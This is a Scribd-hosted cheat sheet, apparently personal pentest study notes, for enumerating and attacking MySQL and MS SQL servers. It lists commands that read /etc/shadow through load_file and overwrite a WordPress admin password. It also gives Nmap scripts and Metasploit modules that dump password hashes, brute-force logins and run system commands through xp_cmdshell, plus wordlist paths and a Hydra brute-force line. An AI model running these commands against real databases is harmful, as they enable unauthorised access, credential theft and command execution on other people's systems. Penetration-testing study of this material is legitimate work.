Scribd
Upload
4 views3 pages

SQL

The document outlines various methods for enumerating and exploiting MySQL and MS SQL databases, including command-line queries, Nmap scripts, and Metasploit modules. It provides specific commands for checking database access, dumping schemas, and executing commands, as well as mentions of wordlists for brute-forcing passwords. Additionally, it includes examples of using Hydra for password cracking against MySQL databases.

Uploaded by

Talemand Khokhar
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
4 views3 pages

SQL

The document outlines various methods for enumerating and exploiting MySQL and MS SQL databases, including command-line queries, Nmap scripts, and Metasploit modules. It provides specific commands for checking database access, dumping schemas, and executing commands, as well as mentions of wordlists for brute-forcing passwords. Additionally, it includes examples of using Hydra for password cracking against MySQL databases.

Uploaded by

Talemand Khokhar
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Initial Enumeration

mysql -h [Link] -u root


show databases;
use books;
show tables;
select count(*) from authors;
select load_file("/etc/shadow");
UPDATE SET = WHERE = ;
UPDATE wp_users SET user_pass = MD5('password123') WHERE user_login = 'admin';

Nmap scripts
mysql-empty-password : check anon login
mysql-info : check InteractiveClient capability
mysql-users --script-args="mysqluser='root',mysqlpass=''"
mysql-databases --script-args="mysqluser='root',mysqlpass=''"
mysql-variables --script-args="mysqluser='root',mysqlpass=''" : check data-dir
mysql-audit --script-args "[Link]='root',[Link]='',mysql-
[Link]='/usr/share/nmap/nselib/data/[Link]'" : check if file privs can be granted
mysql-dump-hashes --script-args="username='root',password=''"
mysql-query --script-args="query='select count(*) from
[Link];',username='root',password=''"
ms-sql-info
ms-sql-ntlm-info --script-args [Link]-port=1433
ms-sql-brute --script-args userdb=,passdb=

nmap ms-sql-brute output

ms-sql-empty-password
ms-sql-query --script-args [Link]=admin,[Link]=anamaria,ms-sql-
[Link]="SELECT * FROM master..syslogins"
ms-sql-dump-hashes --script-args [Link]=admin,[Link]=anamaria
ms-sql-xp-cmdshell --script-args [Link]=admin,[Link]=anamaria,ms-sql-xp-
[Link]="ipconfig"
ms-sql-xp-cmdshell --script-args [Link]=admin,[Link]=anamaria,ms-sql-xp-
[Link]="type c:\[Link]"

Metasploit Modules
auxiliary/scanner/mysql/mysql_schemadump : Dump the schema of all databases from the server

metasploit mysql_schemadump
output

auxiliary/scanner/mysql/mysql_writable_dirs : writable dirs


auxiliary/scanner/mysql/mysql_file_enum : readable files
auxiliary/scanner/mysql/mysql_hashdump : database users hashdump

metasploit mysql_hashdump
output

auxiliary/scanner/mysql/mysql_login

auxiliary/scanner/mssql/mssql_login

auxiliary/admin/mssql/mssql_enum

auxiliary/admin/mssql/mssql_enum_sql_logins : user enum

auxiliary/admin/mssql/mssql_exec : execute a cmd is xp_cmdshell enabled

auxiliary/admin/mssql/mssql_enum_domain_accounts : mps the information such as Windows


domain users, groups, and computer accounts
metasploit
mysql_enum_domain_accounts
output

auxiliary/admin/mysql/mysql_sql - needs creds to run sql queries.

wordlists:

usr/share/metasploit-framework/data/wordlists/[Link]
usr/share/metasploit-framework/data/wordlists/sensitive_files.txt
/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt

Hydra
hydra -l <user> -P <wordlist> <ip> mysql

You might also like